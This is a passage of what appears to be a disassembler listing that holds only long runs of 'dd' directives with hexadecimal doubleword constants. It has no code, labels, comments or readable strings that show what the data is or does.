		dd 813CAA38h, 0BD6F92CEh, 0F0D10728h, 81E8FB20h, 2C3C5F41h
		dd 20DA68C2h, 9BA5DA8h,	0C564C6BAh, 9B21330Fh, 0C2398468h
		dd 0B2E3D116h, 7876C2BBh, 59D40400h, 7728F12Ch,	53ECE9D8h
		dd 0F8C1F3B7h, 259FC73Dh, 53842707h, 0DE92C388h, 0D07AD940h
		dd 89666182h, 446AB675h, 32748BDh, 0C2D5F74Dh, 6722D883h
		dd 93025C64h, 0B739E7EAh, 7F6309C7h, 7D3F8028h,	4D15767Ch
		dd 0B7038D57h, 587E2D16h, 506169Dh, 49FA6A25h, 1BFCCBA9h
		dd 4A4B425Ah, 0F0F9F820h, 4A2BB522h, 0DED1ECCh,	0DDFA813Eh
		dd 385DB1EFh, 401BFA5h,	2C974331h, 0F113BEA7h, 0FCA130FCh
		dd 2C384D83h, 81D2F700h, 0CB39F2EAh, 96EA3576h,	2554511Fh
		dd 6BAAC201h, 24806CD9h, 9B4C2C6Ah, 5A5ED629h, 4698CE81h
		dd 0FE14D96Ah, 96552EE2h, 0F1D84E82h, 399A6FE4h, 0A2E95C05h
		dd 0EA67BEA3h, 9A7396AFh, 4E39412h, 1B203A2Fh, 441508C5h
		dd 145B117Bh, 7DBB8C00h, 3E1E0C5Ah, 0D72DDBF7h,	4471EE09h
		dd 5CD96069h, 0A3B0564h, 0E81C27E9h, 506884CDh,	0FEC97DA8h
		dd 7DE252ABh, 0E97A9955h, 542809F9h, 0F23320A4h, 78508E5Ah
		dd 6B1D22B4h, 0CA807A0Dh, 43FF1294h, 0A6EA6083h, 791CE7F2h
		dd 760C6360h, 4B9086CAh, 3A4A0629h, 0C6046955h,	47D51D8Ah
		dd 3CFF8A84h, 229B55AAh, 0EBE9E802h, 89677E0Ch,	1FCE5682h
		dd 9795169Fh, 0AACF5F22h, 689C83F0h, 0A44BFA53h, 11C08A8Fh
		dd 0DF448803h, 8F1E5508h, 0E0215D12h, 3C40DF17h, 25481F58h
		dd 2B807CAFh, 15D7652Dh, 0C67E89F6h, 0C708DE94h, 31660933h
		dd 0B05E0885h, 14407BC4h, 17CD27C1h, 0DEE95E49h, 0BF2670F2h
		dd 20C0A70Dh, 9576517Ch, 0DE45CC40h, 0E2C12509h, 3AAE5C04h
		dd 5A153486h, 56020C7Fh, 0E9784566h, 9D7D7805h,	0C795AC6Ch
		dd 58F8A47Bh, 214E1CE9h, 1708DA6Dh, 20E29968h, 8F92D95h
		dd 0B04333D1h, 0E4174C2Ah, 17602102h, 112DC701h, 38B40C85h
		dd 8AF60BD3h, 0EA8B5650h, 3FCE44C1h, 7F82CC27h,	7531DD37h
		dd 58F1365Dh, 0A1C98421h, 0AD85B209h, 3451B8D3h, 0C0094F0Ah
		dd 8279F4A6h, 0C1C76DDh, 7F7995B2h, 0C43A0362h,	0F7E880B6h
		dd 69852F29h, 5925E5EFh, 1DE9E23Ch, 0C2815F54h,	0B95E2450h
		dd 0E4CC6F71h, 59C10C4Ch, 0E90BE3B8h, 6A1EE74Bh, 0CE5FE182h
		dd 90806046h, 959EE6Ah,	0BEE9C229h, 0D7F70DA2h,	0D1014852h
		dd 298F22B8h, 0EDDD5FFDh, 0E49490EFh, 0B16F5BC5h, 0DF103EB3h
		dd 73F10F52h, 21350324h, 42DF58C8h, 0B3E0124Bh,	535C1674h
		dd 386C1B2h, 78982AE2h,	0F840F772h, 49FE4044h, 378188B8h
		dd 3E8B7A29h, 0B07AF40h, 519FDFB1h, 476ACD20h, 58283552h
		dd 8FB00605h, 0B731385Ah, 46CA7C68h, 0F0BDB6A7h, 4164B7E9h
		dd 0B881E72Fh, 8D71397Ah, 0F87AD47h, 0D0012355h, 0DEFFF6B2h
		dd 8B4ABB3Ch, 0BB48105Bh, 1DA5683Eh, 5B549410h,	658AEAA0h
		dd 10A5215Ch, 0D3171ACBh, 7277440Ch, 86DAF8A0h,	0FA193CD2h
		dd 92AB316h, 0B1FE0B1Ah, 82EB818Eh, 54121306h, 0D9B04225h
		dd 22AF2DDDh, 5DBD902Eh, 0E2C1F301h, 65F250AFh,	0C38D3E1h
		dd 0AA9C5EC9h, 0A1D3665Bh, 5DA50920h, 0A707D189h, 411F18C5h
		dd 534A27FFh, 3B668C39h, 588A023Dh, 74FC2225h, 765C2520h
		dd 4F8C6BADh, 15802F32h, 717B0EBFh, 4BEDE912h, 8CCF93FCh
		dd 62D3C952h, 23E44F54h, 32B29C56h, 7BFA5E2Fh, 0A0EFF42Fh
		dd 67CDF51Bh, 5026010Fh, 0A99CD1B8h, 0ABC22A23h, 79F689h
		dd 4326BAF3h, 0D35FF73Bh, 48069C86h, 97007B08h,	0E9E219CBh
		dd 0C1C0FC35h, 0D15079EDh, 5F8F9D37h, 0AAC608C5h, 0FC57172Ch
		dd 3B1358E3h, 19F0996h,	5B0FD150h, 24EDE480h, 0FCA9B815h
		dd 28D0B707h, 0AC46B2FCh, 193CA2F1h, 4710F72Bh,	540192FBh
		dd 8C68E1AAh, 1322F7Ch,	0E9BFA1AEh, 4E2AA42Ah, 0EC0F5E26h
		dd 63231049h, 0DE205F5Ah, 23334AD0h, 0D2E7F6D8h, 7C48F476h
		dd 0CD9C02BFh, 0FE307D7Ah, 0EF4DE955h, 172D4A7Fh, 1126A3B1h
		dd 860E042Fh, 64C461DBh, 0A77DE708h, 13E3FA84h,	93F85056h
		dd 89DE23F1h, 0D971EFABh
		dd 329882D7h, 0F1842FCCh, 6C9C8043h, 19608559h,	0AE73F80Ch
		dd 0F0895AB6h, 0D1418CB7h, 568B2738h, 0C4415D0Bh, 0DF702C5Ch
		dd 0D4A04D12h, 24F1F680h, 0CFBBF328h, 2B0BEB6Bh, 0B10F9D70h
		dd 60D1F646h, 0E1C0A7C1h, 3EFAA006h, 51E427E9h,	570C7BD3h
		dd 9FED19Eh, 5960204Eh,	0FD4BC602h, 901FA0DFh, 9751F621h
		dd 0AEC923E2h, 0F46D6E7h, 72D25C2Dh, 532E6BC5h,	8DD97DA9h
		dd 5650AE28h, 3A5A0DC9h, 6D800E24h, 0E5336176h,	0E6D6E2F9h
		dd 0E8C11E2Eh, 1E77CB0Eh, 3EEB6E48h, 2169A113h,	0E922A421h
		dd 1B780D61h, 5E2CCF10h, 0A7D2B387h, 0F08D66BEh, 279D5FDDh
		dd 68C83073h, 28942514h, 20478F40h, 92E97E58h, 17BF7483h
		dd 49691Ah, 6E7D0B44h, 5ECC147h, 346382C1h, 7AEB0456h
		dd 6D4E130Eh, 84A2BC3Ah, 29A9A77Eh, 22763D05h, 35D7E448h
		dd 0DD90CD13h, 0D806090Bh, 0AEC212EFh, 8E1D076Ch, 0EB1FB421h
		dd 8A8CA1Ch, 7C992F90h,	3570E904h, 2FF0B213h, 5962C629h
		dd 0DE746666h, 44810923h, 1FA56EBh, 0E9165D78h,	0B7F4F799h
		dd 730A1336h, 3039D7DBh, 9D1A4D2Dh, 827FFE90h, 5500E3A6h
		dd 0A90D73BDh, 2DDDF779h, 0FFE2B8E9h, 331C65F6h, 8CA88BF4h
		dd 0BDC617CAh, 6F73199h, 560643FEh, 850694DDh, 4B46A860h
		dd 0CBDF46B2h, 39E8FC8Eh, 28134193h, 7C81453Dh,	0D180E40Ch
		dd 0F573E7EEh, 0C678293Eh, 90845E5h, 500F115h, 0E0D15E59h
		dd 4B120D7Ch, 4100522Ah, 0EA054803h, 13DB04B8h,	8058C731h
		dd 0F8771204h, 5A299227h, 1589BBD9h, 0A0048C1Ch, 5C26CF57h
		dd 66CDF31Ah, 819373DFh, 17412D59h, 0F829044Ah,	0CD78D83Fh
		dd 0C95FA780h, 1E00FE11h, 34B64FF2h, 50BF573Dh,	5F02F816h
		dd 9412C12Dh, 43868033h, 0FD3F5375h, 0E9080414h, 1251E95Fh
		dd 0B5A702C3h, 3C849D4Ch, 0FA671FDEh, 31FEB6ECh, 0A52FE9FDh
		dd 0EA1CA43Dh, 5000BA8h, 33C25678h, 0C139215Bh,	7727F58h
		dd 5A729EBh, 13F249FCh,	59209A9h, 53BC6191h, 0D975B394h
		dd 38F841F8h, 0EFD12832h, 0F20EEED4h, 0CBF8DE19h, 0AB06223Dh
		dd 3AE54A63h, 276813DCh, 0AA6D110Fh, 0C04EE90Bh, 1C505264h
		dd 0DD53FC88h, 0E7FE52E7h, 0C12F27D2h, 916E5F91h, 644044A9h
		dd 591350D6h, 6BF93158h, 8A4624Ah, 0C1FE6A48h, 0E8EDE698h
		dd 0C7952879h, 9B728937h, 28BE171h, 706A5E48h, 87826C81h
		dd 112761Dh, 0AB9A7F44h, 81580C04h, 64DB0F30h, 10ECB3Eh
		dd 0C707EBC0h, 0F39209C3h, 0C4AC159h, 9F29FC30h, 0C4D4A0ABh
		dd 8BD733Dh, 7502CA8Bh,	6110C225h, 0CB40079Ah, 76DE5EA2h
		dd 41F70B0Eh, 9680C76Bh, 0CA7A4AE7h, 26246060h,	0F9614717h
		dd 2DD540FCh, 1970A352h, 4D584FA0h, 0C16EDB2Dh,	0E680D3B9h
		dd 31B5A59h, 3A034805h,	0C331A99Eh, 0EAD2FDE9h,	245A5389h
		dd 573C0174h, 7B0139F8h, 58E9DDD8h, 0B5842618h,	0F326EB2Dh
		dd 0FFB31224h, 0D2E90528h, 7520FFBCh, 76698BAh,	0CA8176C9h
		dd 416292D0h, 0F8D8283h, 0A8043DEBh, 6AE526FEh,	0E82D27C4h
		dd 0F9B09168h, 5C0AB652h, 0CD5DEF09h, 16F50D2Dh, 409AFB60h
		dd 0B1B04D5Ah, 9E881940h, 0E95D13A7h, 23B9929Dh, 0B1C3E9B0h
		dd 7DEFD496h, 5B0FE0A5h, 0B4CEEE53h, 0FC2D92E6h, 4E0DB653h
		dd 1324F35Ch, 4AB4AA94h, 0DFCEB558h, 8D121591h,	10B759C3h
		dd 509EAC34h, 282C5BB4h, 0B40ACCE3h, 56FB9CCh, 412D22EDh
		dd 4925FB32h, 5BD40462h, 5DC9A97Bh, 8C3E8D7Bh, 2D32CBE6h
		dd 305813E5h, 0E83CAEFh, 49FD8851h, 0B0FCC6EAh,	92484BF3h
		dd 0A75ED304h, 26FC93BDh, 0F85485DCh, 253692F8h, 0A7665866h
		dd 0A12C517Eh, 0F8C1AB4h, 0FA6824B6h, 88E5B956h, 34039972h
		dd 5AC32842h, 0CB058B42h, 0D1F00928h, 0C59212E2h, 607ECD70h
		dd 0FB5BCDDCh, 73683170h, 0BC979963h, 0A6617812h, 183489AFh
		dd 0C0BAD5AFh, 2C19EB51h, 29F7CECh, 7AFDA99h, 84E6E04Eh
		dd 7A252364h, 0D873C346h, 953CA4E9h, 1A952514h,	0AEDF05C7h
		dd 0EB055864h, 13E23474h, 2D48C200h, 0D131AEA8h, 67C75A5Eh
		dd 79E0EE34h, 3A1C9D5Eh, 8E305B4Bh, 2768E9F7h, 9FD34DFDh
		dd 7B49FF92h, 0BD6F7C2Dh, 352EF612h, 9E4F0958h,	89651954h
		dd 3E79C9B1h, 0EDF1F684h, 0EA01501Ch, 0DB054841h, 6A0471BBh
		dd 0C57E0798h, 8440A45Ch, 0DD3571CBh, 0EBC1183Eh, 5B941202h
		dd 832F5C0Dh, 806B30C3h, 373A4010h, 43E96412h, 647D825Dh
		dd 0CBFC5C55h, 2EC847A1h, 7294A661h, 0DD01362Eh, 5135E4Bh
		dd 0EBD4C5B9h, 45F2F01Ah, 654B909h, 326BE387h, 10B0C1F5h
		dd 2D60CE80h, 68C0693h,	17DD1028h, 1A110DE4h, 0A769CA24h
		dd 18B53194h, 0BE67E9F1h, 0EF962D54h, 0CDA6F5FEh, 0D0748B69h
		dd 4F1BFCC8h, 805D8926h, 7069DDD2h, 0E8C156h, 340C2D07h
		dd 0D8F71CFAh, 0ACCB0506h, 0BF31E3B2h, 251A5410h, 0FE7F6082h
		dd 3A1F277Ch, 31C74A48h, 48D52B05h, 0C553B2E9h,	0D4C69409h
		dd 1450A710h, 2636E34Dh, 6A24F729h, 0BA60BF24h,	586C072Ch
		dd 6201491Ch, 0C14E651Eh, 33803EE2h, 60DF577Fh,	28D21E54h
		dd 0F2F86EFFh, 0C08CF701h, 4920E9A9h, 179E6B7Ch, 484F44D8h
		dd 0AFC0FA05h, 0FA50573Fh, 0F3A45E83h, 0C4C12855h, 3CB416F8h
		dd 0B5E92D17h, 0D769E24Fh, 0E912C8BDh, 0D8AAA521h, 0BFEC875Eh
		dd 1C07ACDCh, 7BB2464Ch, 4435F132h, 0B74BEEEDh,	910D855h
		dd 19F55E6Dh, 0B1063104h, 5F50BC4h, 57685150h, 594287C1h
		dd 1445F1F8h, 0BD66A24Bh, 0C1612E30h, 3BFC092Dh, 9EE1D130h
		dd 4CA91B4Bh, 8B4B1C5Bh, 0ECED001Fh, 4537A848h,	0B3405B68h
		dd 65A14AFEh, 603EE730h, 0C4CB3142h, 22486C65h,	7920067Eh
		dd 18180E51h, 60582D8Ah, 7737B0C3h, 0D8C0A822h,	0B8376E19h
		dd 0FDDB0266h, 0D929B77Eh, 3B6AC1h, 5FBAB966h, 5DEC213h
		dd 85293962h, 0D5271C14h, 11F19327h, 3C418C38h,	0D9F71804h
		dd 28E9080Fh, 1C7336E5h, 0FCC46A2h, 73A4EF21h, 516CF420h
		dd 40A20D5Eh, 0F9052F48h, 234171Ah, 773867A0h, 6FE1F540h
		dd 7EB74C14h, 74B007BFh, 0C9C01E59h, 484F7AECh,	5820961Dh
		dd 1FA65D5Fh, 5C0B6227h, 0BDE42FD4h, 0AD1D73ACh, 25C78055h
		dd 24055098h, 7E166B71h, 9D57FDE9h, 0F4B3FF16h,	0CE5B8B39h
		dd 2FEE2106h, 15204B44h, 0B65E4B53h, 0C0CF3EE1h, 0D8B23952h
		dd 0E74AF9h, 7C0D258Ch,	8CF45F0Eh, 5EC1B064h, 2491C5A4h
		dd 27F1933Ch, 0C20BC53h, 10602397h, 893D5FCAh, 22902B08h
		dd 0D03CF2h, 51BE3091h,	31C560AEh, 1345D65Ch, 6ACD48Ah
		dd 498858A7h, 44BA3A95h, 8435F3CAh, 0B816C415h,	6C82A419h
		dd 4805C03h, 0C2C3585Eh, 54829523h, 9955173Ah, 8E60179h
		dd 0E5151F86h, 68E15F59h, 0CD7B44D7h, 0D4EC00B3h, 46005F6Bh
		dd 0F581DDF7h, 0F4715B1h, 0E9E889E0h, 1FE7F989h, 4F26C0ACh
		dd 0D639E961h, 1314302Fh, 55098463h, 463E4568h,	67D803C8h
		dd 0EE316AB4h, 525D3F2Dh, 140C20E9h, 919DE92Ah,	5E3C1A90h
		dd 50BACCC1h, 0D97D10A0h, 5F214Eh, 0B99CEB4Ah, 0BD94A0BCh
		dd 99F8A5ECh, 0AA38524Fh, 68C80CBEh, 0E7794F11h, 0FCF78188h
		dd 1D490519h, 0BC211C68h, 54DBC135h, 4A03554Ch,	79F53D5Eh
		dd 977059F5h, 251D5A6Ch, 97B2B9C9h, 328DC1BCh, 45427EB3h
		dd 40EC6302h, 2F75CF66h, 3C60D03Dh, 0EFB8EEC5h,	0C11FE917h
		dd 7738CF29h, 2B637CD8h, 8744F299h, 0F3A1D6A8h,	8BF26893h
		dd 0E7304929h, 0DCBE1981h
		dd 0E925EB19h, 0D8023AC0h, 0A43DEC68h, 47903797h, 4A66C330h
		dd 4895658h, 1FB3819Fh,	0F230A73Ch, 26E5B533h, 5A6FD89Ah
		dd 6986C02Dh, 1224143h,	908A89Fh, 0D52FE90Fh, 1D0F966Fh
		dd 5ADECB0Bh, 3BF5027Eh, 19DDF8Bh, 0F2404A50h, 0A68184EAh
		dd 0DFA5A0BFh, 0F5A8EC9Fh, 5B8CDA45h, 0BCFA5411h, 3A6209C9h
		dd 490010CFh, 76CB2CC0h, 59023179h, 68E9FA89h, 569AFFCh
		dd 0ABF43938h, 0F6A70BF4h, 0F62295Ah, 287E025Dh, 7EC20BF1h
		dd 4E82F90Eh, 90E04B2Dh, 29053DF6h, 0D0F7483Fh,	6AEF05EEh
		dd 96E88199h, 8E2A9Ah, 0EB0C0E4Ch, 1E0B5D11h, 1511F7Ah
		dd 109EF7D6h, 0A0182491h, 5B2C5BB3h, 469D8A12h,	93C1589Ch
		dd 4CB770B4h, 0B2C40A56h, 8F14FFEDh, 4F3E5C02h,	0DA31FBE0h
		dd 0CB820D06h, 857CCD8Ch, 0A0022F82h, 0F2EA3Ah,	4451BA94h
		dd 0DA291F7Fh, 16872E5Bh, 7EE1A11Eh, 2668F628h,	0C54D6344h
		dd 6860205Ah, 0E98049F2h, 4F69AF9h, 4CE2C59h, 525C8115h
		dd 0F00A81B6h, 3751685Ah, 419FCD6Ah, 2449881h, 5410C14Ah
		dd 0C2F3843Bh, 20D7024Dh, 4EFBC32Ch, 0D46EE124h, 51080907h
		dd 0D368782h, 42643762h, 0FBCD9D25h, 3EFB08AEh,	2790E8A0h
		dd 3C80E919h, 7347A9C7h, 0ACF6F3EFh, 4DB8584Fh,	0C297E0E9h
		dd 0D21B74EFh, 25A26871h, 0D9EF8102h, 0D57B1A5Bh, 2D083028h
		dd 5344EBD9h, 3F8B9DAAh, 5E2883D8h, 4746C822h, 90E3185Eh
		dd 32203199h, 91A51042h, 0D3245E3Bh, 12BFA68Fh,	671FC581h
		dd 2F8EB6D6h, 96209298h, 0F75F142Ch, 4D0092D8h,	0C10EE17Dh
		dd 811E06EEh, 0CD8B4BCEh, 83508E1Fh, 0E738B97Ch, 0AE40B4F0h
		dd 0A8849D08h, 0C228FFD0h, 54538859h, 8CC57BB4h, 6B32B7F1h
		dd 0B24B1D84h, 4BF15AE9h, 8084A529h, 36B9004Fh,	53A7016h
		dd 0A00B0CBDh, 2A59E1E5h, 5768A20h, 3620F32Fh, 266161Bh
		dd 0E1431212h, 46443A12h, 68309EEDh, 4CB7664Ah,	6E5613B1h
		dd 0A0350016h, 2967B15Ah, 81D4C7Eh, 9A6D0159h, 0B6110F6Eh
		dd 0CAA2BA21h, 0BC03107Dh, 94F7453h, 0C7D86C40h, 327F9067h
		dd 1FEA4D73h, 0B4D0280Ch, 5A4F82F5h, 0B3FEEEE0h, 0D330A214h
		dd 99775EFh, 0B9FD3A3h,	2A5B301Dh, 562562A9h, 685670B6h
		dd 0D94EA701h, 952E962h, 574F982Fh, 0E954B89Fh,	81019D27h
		dd 715BDE31h, 0AAB5E83Dh, 3AED689Fh, 4FCC0F25h,	0F61CD2F7h
		dd 0E749B44Ah, 1A2A4FD9h, 497F7255h, 761030EAh,	6082A479h
		dd 0B715A005h, 69614C6Ah, 5CCD3444h, 32E68007h,	0C650CEFEh
		dd 0B5F7280Ah, 0F8E00C6Ch, 0EB255B7Fh, 6056DC08h, 18E920B4h
		dd 0D2679168h, 0C83C2509h, 3D0A17EAh, 9E90500Bh, 0EB24F31h
		dd 89C2290Bh, 0C7634489h, 0A6F5F4C0h, 0C64A567Bh, 9E7C0EE4h
		dd 49D312E1h, 93FAFCFBh, 4464C607h, 0F66030E0h,	58CB29ECh
		dd 0E405287Bh, 8460B66Eh, 7D684CDh, 70835E08h, 7F436802h
		dd 4B6B7997h, 22954466h, 0D012E9A5h, 1E3369BFh,	0AC34C285h
		dd 926ECEC3h, 0E98392E6h, 413E8F78h, 1575CA0Ch,	5A3060F9h
		dd 12102D27h, 1BF45574h, 27D0114Eh, 5AF0AF20h, 0BACE276h
		dd 100C07E9h, 75A9F3C8h, 0DEF0972Fh, 503D13CBh,	0FA749876h
		dd 0B6E09721h, 64E14E9h, 0B812EDCAh, 4C5191A1h,	801AF56Dh
		dd 506E30Ch, 2FFD218Ch,	4604C4E9h, 9A92CCB9h, 2F019740h
		dd 13535AD5h, 0F7E02526h, 9522F6E9h, 11D98312h,	9F16E941h
		dd 0EA68A464h, 0EC189772h, 0C73041EEh, 21795860h, 0BC0F4CA3h
		dd 5E533409h, 0A2EE0600h, 4148BA43h, 2EE9030Ch,	8E4E38C1h
		dd 6120210h, 0F32980C3h, 9D2516F7h, 1EACFBC5h, 86C0025h
		dd 0FE2C8543h, 3B27F0F5h, 0CD032BA5h, 736E59EEh, 79250C73h
		dd 3F3FDCA9h, 9409EDBDh, 7F74E889h, 2A3D2D60h, 794CFEh
		dd 0E161CF05h, 7000D011h, 4D0B8255h, 59DECDE9h,	8795BC7Dh
		dd 4BD29Bh, 3A400F3Dh, 544D0170h, 4A0C90ACh, 549F8FA4h
		dd 4A26D627h, 0B808128Eh, 72E8E5DFh, 0E67F15D3h, 0B9595A14h
		dd 4429F104h, 0ED16EA1Ah, 0B419AFDh, 0E520CB21h, 1C7B9514h
		dd 0C0D40B49h, 0E4685055h, 11FA0305h, 0C2D4058h, 25457690h
		dd 0DA671F00h, 3CF7352Bh, 1E237FCAh, 89487CF0h,	42F8AEE9h
		dd 54D13126h, 97CFD848h, 55B04DE8h, 659C3EE9h, 84E12809h
		dd 0B900F3CCh, 2EA84B6Dh, 1017817Ch, 0C9FCBC0Bh, 2E03DF7Fh
		dd 15D001C6h, 0DCC829D9h, 3A9DC33Bh, 83F539Fh, 5B12B38Ah
		dd 0C55EC3E8h, 858CD147h, 64CA2B38h, 1D92F927h,	5E71A4FDh
		dd 0E38D07A9h, 0AA447E95h, 0D6142D0Eh, 490FC10Bh, 0ECA061DEh
		dd 9C094502h, 0C93AE905h, 3A205356h, 0DA58BFD6h, 5190C4B5h
		dd 0C02F158h, 0D354E029h, 5AD80E4h, 0F6C3F295h,	26C2B6E2h
		dd 0AE56524Ch, 525F4101h, 0C1C9E957h, 535E7D33h, 0A66CEDE4h
		dd 3FBA1738h, 0ADC6174Fh, 8E3310C8h, 0F70F2D3Fh, 0CE4648F3h
		dd 68393210h, 46AB1270h, 0E63BDB14h, 0EF30940Ch, 1927E340h
		dd 0E9277506h, 80F30105h, 0DEC155C3h, 917BF77h,	0F0F9ACEEh
		dd 6A59B3h, 5AB85074h, 213BB94Eh, 6858C205h, 8DCD4852h
		dd 14391C60h, 0E90E9B32h, 7182F638h, 0F1896195h, 1E94DC0h
		dd 2C16D8F9h, 1E7DC948h, 43DF41D1h, 4820FD2Ah, 0F577A08Ch
		dd 0C33E1FFDh, 5DE8CF6Fh, 0AFF017E4h, 0CA6F4A99h, 64A64BECh
		dd 30DACF38h, 0CD1E24Eh, 0DE2D692Ch, 0C9C3E102h, 0B11A6190h
		dd 0F1939E72h, 0F9A7B85h, 76DED24Eh, 0CBE7B1EAh, 0BC48C23Dh
		dd 525E6263h, 7E4822BAh, 440B2D93h, 8AA74DA9h, 8539CBC8h
		dd 787735E9h, 49F57280h, 123F4B73h, 811A8D11h, 5620D0Ch
		dd 1EB6297Ah, 2BB01624h, 0F75DA316h, 70A89ACh, 8F3E68h
		dd 132D1AC5h, 2020E959h, 0EDBF01F1h, 472C7D6Fh,	16E1F04Fh
		dd 18BC2791h, 0BD28A2C8h, 80583DFCh, 548A4860h,	0EDEC2819h
		dd 99A58602h, 0FEEA894Ch, 0D0215010h, 22479195h, 0F24F1178h
		dd 0B181924Ah, 0B6A6FE9h, 1DA2FE70h, 0D4718CE8h, 154B511Eh
		dd 0A0EC7AF9h, 7D577103h, 362D9442h, 0AE71C616h, 6068BF09h
		dd 62DBFE0Eh, 6D65FD06h, 0A8100524h, 0BC7B5325h, 0D0800B16h
		dd 0F060F680h, 4A51B2D8h, 62F0ED68h, 31A51D6h, 15E95E5Ch
		dd 9CDD6802h, 0E20AC5D2h, 0E98F0A6Ah, 0BF10B87Dh, 45030BBCh
		dd 188F2158h, 99DC5EABh, 8ABD066Fh, 5B7C2F73h, 6789A7F1h
		dd 89DB6Bh, 619E4FBCh, 100128BEh, 0EE316019h, 0ED2CDCE9h
		dd 0D7685305h, 0BE1B4067h, 697D0843h, 3796E912h, 0A8849BFDh
		dd 0CA5C18EAh, 47B20D20h, 400BCEBBh, 0E9130556h, 54257072h
		dd 0CEA268ACh, 0A54813D2h, 2DA00C52h, 8925AD58h, 713F7CF7h
		dd 0ACE384D0h, 17BAD554h, 0F68400BEh, 0A8F280D2h, 5AD38801h
		dd 0D828A52Ch, 4B550420h, 0C3325F96h, 2926FB05h, 69B02660h
		dd 0F2C5B9CDh, 134EBBEBh, 86152089h, 2B4FD234h,	70EE481h
		dd 7D996800h, 0C6EFA96h, 0EB4CAB40h, 4978EE73h,	47386769h
		dd 0BE4057A4h, 36B95100h, 0E94EAC0Ah, 7315644Ah, 97A94B2Ch
		dd 0A311D2E5h, 452D0AFCh, 270B2A70h, 73568864h,	74AB8913h
		dd 8244C4A7h, 0C5D6A122h, 960806ACh, 0E6300BF7h, 505883DCh
		dd 99B30553h, 0EC4C86E9h, 8DD0DDA3h, 6F78607Dh,	8B873488h
		dd 5E98DA83h, 0FB010B16h, 925EB04h, 8B68025Ah, 905BC43Ch
		dd 5591094Dh, 96757319h, 4A253EF2h, 8BE92209h, 0AD357921h
		dd 8907F01Fh, 0E1DD829Dh, 8046C308h, 133A5F97h,	0A8532168h
		dd 0E13CDCFDh, 0B664B4D1h
		dd 0B7224F20h, 356FDCAh, 0A258896Fh, 5F496681h,	4C753C83h
		dd 0A14D87BDh, 3A6A8268h, 0BBCBBF5Eh, 17CF74B2h, 0F39CFh
		dd 0D6130DFBh, 309049E6h, 29ECF80Bh, 17B204F2h,	44058CAAh
		dd 0BBE2740h, 3E1F2AB9h, 0BFED0B02h, 7BA49B7Bh,	0CAF6D127h
		dd 9E425A24h, 0EC976770h, 0DD23304Ch, 48E2BB16h, 0D03EF025h
		dd 0CE6E16E8h, 0C050937h, 8BD52149h, 0DC315D4Fh, 2E2D5825h
		dd 8A0BE67Bh, 69C9B7E9h, 7DC1EA44h, 5D2083D5h, 5020E7C1h
		dd 68D1C21Bh, 0AE8B5CC8h, 74E99F98h, 1EAFCE4Dh,	4F17ACC2h
		dd 0C7B92A40h, 13151349h, 0B259CB31h, 0E6E98350h, 547F1E91h
		dd 8D0C0C58h, 3C5B776Fh, 2DD7C1C0h, 0FE645DEAh,	1C428305h
		dd 0DDDEC126h, 9C3578ACh, 1FDC6D5Ch, 9C2CC80Eh,	109258BCh
		dd 5C0BE3FBh, 0E6100966h, 108387F4h, 4FF1B722h,	2F742EB0h
		dd 8ADA7A39h, 75578C80h, 2D030A1Eh, 2E821204h, 5B7F54C0h
		dd 0FA59EA1Bh, 406E3D72h, 9B34E580h, 0E9C131A9h, 7EC28F4Bh
		dd 6406D064h, 8E5375BAh, 449F0F9Eh, 0C7817F36h,	48BAE382h
		dd 9E4A2560h, 0B75D82A8h, 97DCF94h, 0B84B6509h,	127B1A0h
		dd 1F6ED8DDh, 4C6ADC4Ch, 0F51BBF1Ah, 2DD25E4Fh,	0C3296B50h
		dd 8F26FCFh, 0FDC88A65h, 77BE63F3h, 383EDB62h, 1980B843h
		dd 0DD0533A8h, 47039D0Ah, 0A3729F0Dh, 7AB1A828h, 96A7FFAh
		dd 1464337Bh, 4F61AB0Eh, 7E097DFCh, 0B8D14405h,	0CBDE5DFBh
		dd 0ADA8ADF2h, 743B00B8h, 0C60964DAh, 5C12585Bh, 24693CF8h
		dd 891FAAF4h, 25225BA5h, 812DC8F8h, 0B160FAEBh,	98F6A50h
		dd 9453D725h, 0E777AEBDh, 0A545189h, 846670D8h,	7E901Bh
		dd 7C8F315Fh, 73C0E381h, 72787930h, 0C02F0B94h,	2830ED7Eh
		dd 0C2A025C8h, 2AB4F8E9h, 0E9C7B10Eh, 0B86DA04Ah, 7ADAADFAh
		dd 80FCECBAh, 4F59A968h, 1772835Ah, 0F641B37Fh,	271090C1h
		dd 9B4CBFC8h, 4E428E22h, 0D387F214h, 0E5E7A513h, 0FE6ABF05h
		dd 97080744h, 0AE73E474h, 0C06989Dh, 251C8410h,	0CA5B5A5Dh
		dd 71EAC06Fh, 250DDE6Bh, 2427CE9h, 73164F70h, 0EAD0212Dh
		dd 134B11D2h, 0B4BEE918h, 677AC13Ah, 51697B12h,	1A4178F1h
		dd 0F32B94Ch, 1216403Ch, 78CBE286h, 0D4A1E74Bh,	0D15ACF79h
		dd 4D5C1E7h, 16E3CF1h, 3B5769B5h, 4E3D6871h, 503CBBCh
		dd 6ABC4A9Bh, 452DD0C1h, 0A27DC907h, 8718E068h,	0D8DC771Dh
		dd 0ED5FC9B1h, 680B3176h, 15DFE5Fh, 4E20D3B9h, 2CAB612Ch
		dd 0C8B94BC7h, 9D5A558Bh, 6889C904h, 44C162E3h,	0AF80BEFh
		dd 7C4D49E9h, 71020517h, 242E7C31h, 85408D0Ah, 0FB30F35h
		dd 3E62F14h, 509714D3h,	9CC307F3h, 6E06E3C0h, 0EB20416Fh
		dd 32D3E9E7h, 0C9651BBFh, 612FE13Fh, 333026Eh, 0BF067631h
		dd 0E9255B46h, 5DAF050Fh, 94C5E8C1h, 2F787879h,	2D40A8B1h
		dd 0A4E7EBE1h, 5901D05Eh, 0BB2C5A66h, 54EC9621h, 87E89706h
		dd 964B04F4h, 0F1D334E1h, 892B3EBDh, 0FB2C93F3h, 45F00449h
		dd 3C12845h, 4F720BBBh,	2AF7C501h, 0E581908h, 11993F02h
		dd 0E817D04h, 875917ACh, 545068E8h, 0F782B364h,	0A46E1305h
		dd 7995592Ah, 410DB4D5h, 81E954EEh, 14617F43h, 2A160ABBh
		dd 4B4BF7F0h, 0E5D355ECh, 936E6D45h, 67877D02h,	0FF4F47Ch
		dd 0A3AB987Dh, 0F93C4386h, 0CBD2C25Fh, 41E37458h, 88558568h
		dd 80E69DC1h, 0A878B6E1h, 0D91B8707h, 0E108D3F7h, 3ED85DE9h
		dd 5B78B8B5h, 5E4EB3F5h, 1F85AF02h, 0A568019Fh,	0B3B33B0Ch
		dd 0E9CC21B5h, 0BF6A24FAh, 4F5BB309h, 9D5EF05Dh, 5A7C0048h
		dd 0C04D730h, 4F7B20B2h, 0DB50F43Dh, 6CF3E709h,	54DA0909h
